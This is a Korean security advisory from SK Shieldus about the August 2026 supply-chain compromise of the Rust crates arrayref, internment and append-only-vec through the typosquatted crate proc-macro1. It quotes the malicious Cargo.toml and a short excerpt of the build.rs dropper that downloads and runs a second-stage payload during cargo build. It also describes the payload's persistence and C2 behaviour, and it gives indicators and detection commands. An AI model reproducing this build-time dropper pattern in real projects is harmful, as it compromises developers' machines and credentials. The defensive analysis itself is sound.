SK쉴더스 로고
ADT캡스캡스홈
SK쉴더스

arrayref 악성 Rust 크레이트 공급망 침해 발생

EQST Now | 2026.08.25

NOW Briefing

Brief 1 2026년 8월 20일 Rust 패키지 저장소 crates.io에서 누적 다운로드 수 2억 4,500만 회를 넘는 arrayref와 같은 메인테이너의 internment·append-only-vec 악성 버전이 배포됐습니다. 보안 업체 Wiz는 이번 공격 인프라가 Microsoft가 북한 연계 위협 행위자 Sapphire Sleet에 귀속한 캠페인과 상당 부분 겹친다고 분석했습니다.
Brief 2 악성 버전들은 proc-macro1이라는 타이포스쿼트(정상 패키지와 비슷한 이름으로 위장한 가짜 패키지) 크레이트를 의존성에 추가했습니다. 이 크레이트는 컴파일 도중 자동 실행돼 플랫폼별 2단계 페이로드를 내려받으므로, 개발자가 코드를 직접 호출하지 않아도 cargo build만으로 백도어가 작동해 호스트 정보를 수집했습니다.
Brief 3 8월 20일 전후에 Rust 프로젝트를 빌드했다면 의존성 잠금 파일 Cargo.lock과 로컬 cargo 캐시에서 악성 버전 유입 여부를 점검해야 합니다. 악성 버전을 실제로 빌드한 호스트는 침해된 것으로 간주해 토큰·키·브라우저 저장 비밀번호를 폐기하고 재발급하되, 잠금 파일이나 캐시에서만 발견됐다면 빌드 로그와 생성 시각을 추가로 대조해야 합니다.

arrayref 악성 Rust 크레이트 공급망 침해 발생

■ 개요

arrayref는 Rust에서 바이트 슬라이스를 고정 크기 배열 참조로 변환하는 작은 유틸리티 크레이트입니다. 누적 다운로드 수는 2억 4,500만 회를 넘고, crates.io의 403개 크레이트가 직접 의존합니다. 2026년 8월 20일 메인테이너 계정에서 악성 버전 0.3.10이 배포됐고, 같은 계정으로 관리되던 internment 0.8.7과 append-only-vec 0.1.9에서도 악성 버전이 나왔습니다. Rust 보안 대응팀은 메인테이너가 악의적으로 행동한 것은 아니며, 메인테이너의 컴퓨터나 자격증명이 침해됐을 가능성이 높다고 판단했습니다.

세 크레이트의 악성 버전은 proc-macro1이라는 타이포스쿼트 크레이트를 의존성으로 추가했습니다. proc-macro1은 널리 쓰이는 정상 크레이트 proc-macro2의 이름을 흉내 낸 공격자 소유 패키지입니다. Rust의 빌드 도구 cargo는 의존성에 포함된 빌드 스크립트(컴파일 직전에 자동 실행되는 코드)를 사용자 확인 없이 실행합니다. 이 때문에 프로젝트를 빌드하는 행위만으로 악성코드가 실행됐습니다.

악성 버전이 온라인에 노출된 시간은 크레이트별로 86~107분이었지만, 그 사이 빌드한 개발자 워크스테이션과 CI 서버에서는 악성코드가 실행되고 자격증명이 노출될 수 있었습니다.

영향은 arrayref를 직접 선언한 프로젝트에만 한정되지 않습니다. arrayreftiny-skiasctk-adwaitawinit 경로를 거쳐 egui·eframe·iced 같은 주요 Rust GUI 프레임워크에 간접 의존성(다른 패키지를 통해 함께 설치되는 의존성)으로 들어갑니다. 국내에서 Rust를 쓰는 조직도 그래픽·데스크톱 스택을 사용한다면 의존성 목록에 arrayref를 직접 적지 않았어도 악성 버전을 내려받았을 수 있습니다.

■ 요약

항목 내용
캠페인·기법명 arrayref 공급망 침해 — 메인테이너 계정 악용 후 타이포스쿼트 의존성 주입으로 빌드 중 악성코드 실행
위협 수준 높음 — 사용자 상호작용 없이 컴파일 과정에서 코드 실행됨
공격 유형 • 메인테이너 계정 악용을 통한 공급망 침해
• 빌드 스크립트를 이용한 페이로드 내려받기·실행(드로퍼)
• 정보 탈취형 악성코드(2단계 페이로드)
영향/위험 • 빌드 수행만으로 개발자 워크스테이션·CI 빌드 서버에서 임의 코드 실행됨
• 호스트명·사용자명·OS 정보·설치 애플리케이션 목록이 수집돼 명령·제어(C2) 서버로 반출됨
• Chrome·Brave·Edge 프로필에서 저장된 로그인 항목이 열거됨(Wiz 기준 암호화된 자격증명 자체의 회수는 확인되지 않음)
• 레지스트리 Run 키·LaunchAgent·systemd 사용자 서비스로 지속성 확보됨
표적 산업·지역 • 특정 산업·지역 표적 아님
• Rust 개발자 워크스테이션 및 CI 빌드 환경 전반
• 페이로드 제공 플랫폼: Linux x86_64, Windows x86_64, macOS x86_64·arm64
관측 기간 proc-macro1 1.0.107 — 2026-08-20 07:11 공개, 08:03 삭제 (UTC)
arrayref 0.3.10 — 07:15~08:41 UTC (86분)
internment 0.8.7 — 07:34~09:04 UTC (90분)
append-only-vec 0.1.9 — 07:37~09:25 UTC (107분)

■ 빌드 시점 코드 실행 경로

arrayref 0.3.10의 Rust 소스에는 악성 로직이 없었습니다. 공격자가 바꾼 부분은 패키지 정의 파일 Cargo.tomlproc-macro1 의존성을 추가한 것이며, 크레이트 자체는 빌드 스크립트를 쓰지 않는다고 명시(build = false)하고 있습니다. SafeDep 분석에 실린 아래 Cargo.toml에는 proc-macro1이 일반 의존성으로 추가돼 있습니다.

공격자는 여기에 더해 정상 버전 0.3.5~0.3.9를 모두 yank(공개 취소) 처리했습니다. cargo는 사용자에게 "yank되지 않은 버전으로 업데이트하라"는 경고를 띄웠고, 이 경고는 악성 최신 버전으로 업데이트하도록 유도했습니다.

[package]
name = "arrayref"
version = "0.3.10"
build = false

[dependencies.proc-macro1]
version = "1.0.107"

악성 로직은 proc-macro1 1.0.107의 빌드 스크립트 build.rs에 들어 있습니다. 공격자는 페이로드 서버 주소를 base64 조각으로 나눠 숨겼습니다. 이 조각을 이어 붙이면 페이로드 배포지 23.254.165.112:9089와 페이로드에 인자로 전달되는 C2 주소 23.254.165.112:443이 됩니다. TLS 인증서 검증은 모든 인증서를 받아들이도록 구현돼 있어 자체 서명 인증서에도 연결할 수 있습니다.

build.rsmain 함수는 페이로드 URL을 만들고 파일을 내려받은 뒤 운영체제별 실행 함수를 호출합니다. 아래 코드는 SafeDep 분석에 실린 해당 부분입니다.

let url = src_download_url();
let bytes = download_bytes(&url);

match std::env::consts::OS {
    "linux" | "macos" => run_unix_payload(bytes),
    "windows" => run_windows_payload(bytes),
    os => panic!("unsupported OS: {os}"),
}

Linux와 macOS에서는 내려받은 바이트를 /tmp/rust-setup에 저장하고 실행 권한을 준 뒤, 표준 입출력을 닫고 별도 프로세스로 실행합니다. Windows에서는 %TEMP%\rust-setup.ps1 PowerShell 스크립트와 %TEMP%\rust-setup-launch.vbs 실행기를 만든 다음, wscript.exe로 창을 띄우지 않고 실행합니다. 두 경로 모두 빌드 로그에 눈에 띄는 출력을 남기지 않습니다. 빌드가 정상적으로 끝났더라도 감염 여부를 따로 확인해야 합니다.

⚠️ WARN

Rust의 빌드 스크립트는 컴파일 전에 실행되는 일반 프로그램입니다. 의존성에 포함된 크레이트 하나가 오염되면 빌드 호스트에서 공격자 코드가 실행될 수 있습니다. 테스트나 애플리케이션을 실행하지 않아도 cargo build만으로 감염됩니다.

■ 2단계 페이로드 동작

Wiz 분석에 따르면 2단계 페이로드는 HTTPS POST로 C2에 주기적인 접속 신호(비컨)를 보냅니다. 호스트명, 사용자명, 운영체제 정보, 설치된 애플리케이션 목록을 수집하고, 자격증명 데이터와 함께 base64로 인코딩한 JSON 형태로 반출합니다. Chrome·Brave·Edge 프로필의 SQLite 자격증명 저장소도 조회합니다. 다만 Wiz는 저장된 로그인 항목을 열거할 뿐, 암호화된 자격증명 자체를 회수하지는 않는다고 밝혔습니다.

지속성(재부팅 후에도 자동 실행되도록 만드는 설정)은 플랫폼마다 다릅니다. Windows에서는 레지스트리 Run 키, macOS에서는 LaunchAgent, Linux에서는 systemd 사용자 서비스를 사용합니다. C2 명령으로는 종료(kill), C2 재설정(minicfg), 지속성 설치(startup), 스크립트 실행(runscript)이 확인됐습니다. 고정 C2 차단에 대비해 5일마다 10개의 .com 도메인을 만드는 도메인 생성 알고리즘(DGA)도 포함됐습니다.

공격 주체는 확정되지 않았습니다. Wiz는 이번 공격 인프라가 북한 연계 행위자의 작전과 상당 부분 겹친다고 분석했습니다. 근거로는 Microsoft가 Sapphire Sleet에 귀속한 Mastra 캠페인과 같은 /49890878 비컨 엔드포인트, C2 IP 23.254.165.11223.254.167.13의 동일한 SSL 발급자 문자열, 두 캠페인이 사용한 Hostwinds 대역 23.254.164.0/23을 제시했습니다.

■ 탐지 및 점검

• Rust 보안 대응팀이 공개한 아래 명령으로 로컬 cargo 캐시에 악성 크레이트 파일이 남아 있는지 점검합니다. proc-macro1은 모든 버전이 삭제됐으므로 1.0.106을 포함해 전체 버전을 대상으로 검색해야 합니다.

find ~/.cargo/registry/cache -type f \( \
  -name 'append-only-vec-0.1.9.crate' -o \
  -name 'arrayref-0.3.10.crate' -o \
  -name 'internment-0.8.7.crate' -o \
  -name 'proc-macro1-*.crate' -o \
  -name 'proc-macro-en-*.crate' -o \
  -name 'aovine-*.crate' -o \
  -name 'arone-*.crate' -o \
  -name 'aronenao-*.crate' -o \
  -name 'tinymember-*.crate' \
\) -print

• 사내 저장소와 CI 캐시에 arrayref 0.3.10과 proc-macro1 1.0.106·1.0.107이 남아 있는지 확인하고, 발견된 파일은 참고 자료에 공개된 SHA-256과 대조합니다.

• 개발자 워크스테이션과 빌드 서버의 방화벽·프록시 로그에서 2026년 8월 20일 이후 23.254.165.112(9089/TCP, 443/TCP), 23.254.167.13·23.254.167.107(443/TCP), hwsrv-798836.hostwindsdns.com으로 향한 아웃바운드 연결과 /49890878 경로에 대한 POST 요청을 조회합니다.

• 침해 의심 호스트에서 /tmp/rust-setup, %TEMP%\rust-setup.ps1, %TEMP%\rust-setup-launch.vbs 파일의 존재와 생성 시각을 확인합니다. 파일이 이미 삭제됐을 수 있으므로 새로 추가된 레지스트리 Run 키, LaunchAgent plist, systemd 사용자 서비스도 함께 점검해야 합니다.

• 감사 로그에서 arrayref·internment·append-only-vec 정상 버전이 대량으로 yank됐다가 복구된 시점 전후에 실행된 빌드 작업을 식별해 침해 범위를 좁힙니다.

✅ CHECK

악성 버전을 crates.io에서 내려받을 수 있었던 시간은 8월 20일 07:11~09:25 UTC입니다. 다만 그때 생성된 Cargo.lock이나 캐시가 남아 있었다면 삭제 이후 오프라인 빌드에서도 재사용될 수 있으므로, 해당 버전을 보유한 환경의 이후 빌드 기록까지 점검해야 합니다.

■ 대응 방안

Cargo.lockarrayref 0.3.10, internment 0.8.7, append-only-vec 0.1.9, proc-macro1이 남아 있으면 해당 항목을 제거하고 cargo update로 정상 버전을 다시 선택하게 합니다. 악의적으로 yank됐던 정상 버전 0.3.5~0.3.9는 다시 사용할 수 있습니다.

• 악성 버전을 실제로 빌드한 것으로 확인된 호스트는 침해된 것으로 간주합니다. 잠금 파일이나 캐시에서만 발견됐다면 빌드 로그와 생성 시각을 대조해 실행 여부를 확인합니다. 침해 호스트에서 접근 가능했던 crates.io·GitHub·클라우드 토큰과 SSH 키를 폐기하고 재발급하며, 브라우저에 저장된 비밀번호도 함께 변경합니다.

• 확인된 페이로드 파일과 지속성 설정을 제거한 뒤 호스트 재이미징을 우선 검토합니다. 2단계 페이로드는 임의 스크립트를 실행할 수 있으므로, 관련 파일만 삭제해서는 공격자가 실행한 명령이나 남긴 설정 변경까지 되돌릴 수 없습니다.

• 사내 미러와 프록시 저장소, CI 캐시에서 해당 .crate 파일을 삭제합니다. 인덱스에서 삭제된 버전도 캐시에 남아 있으면 오프라인 빌드에서 계속 재사용될 수 있습니다.

• 의존성을 갱신할 때 build-dependencies 변경을 별도로 검토합니다. 특히 ureq·reqwest·rustls 같은 네트워크 크레이트가 빌드 의존성에 새로 들어오면 정당한 사유를 확인해야 합니다.

💡 TIP

CI에서는 cargo build --locked --offline과 의존성 로컬 복사(벤더링)를 함께 사용해 Cargo.lock에 없는 의존성을 빌드 중 새로 받지 않도록 할 수 있습니다.
빌드 러너의 아웃바운드 목적지를 허용한 패키지 저장소로 제한하면, 이번처럼 컴파일 중 외부 IP에서 페이로드를 내려받는 동작도 차단할 수 있습니다.

[참고 자료]

Rust Blog - Supply chain attack on arrayref

RustSec advisory-db 이슈 - arrayref·proc-macro1 악성 크레이트 신고

SafeDep - arrayref Cargo.toml·proc-macro1 build.rs 발췌와 빌드타임 페이로드 분석

Wiz - arrayref 공급망 공격과 북한 연계 캠페인의 인프라 중첩

The Hacker News - 누적 2억 4,500만 다운로드 크레이트에 빌드타임 악성코드 삽입

  • #EQST_NOW
  • #취약점

관련 서비스

더 많은 보안 인사이트

SK쉴더스 유튜브 채널에서 확인하세요.

SK쉴더스 유튜브 채널에서 확인하세요.
보안 트렌드와 대응방법

매월 뉴스레터로 확인하세요.

매월 뉴스레터로 확인하세요.
arrayref 악성 Rust 크레이트 공급망 침해 발생 | SK쉴더스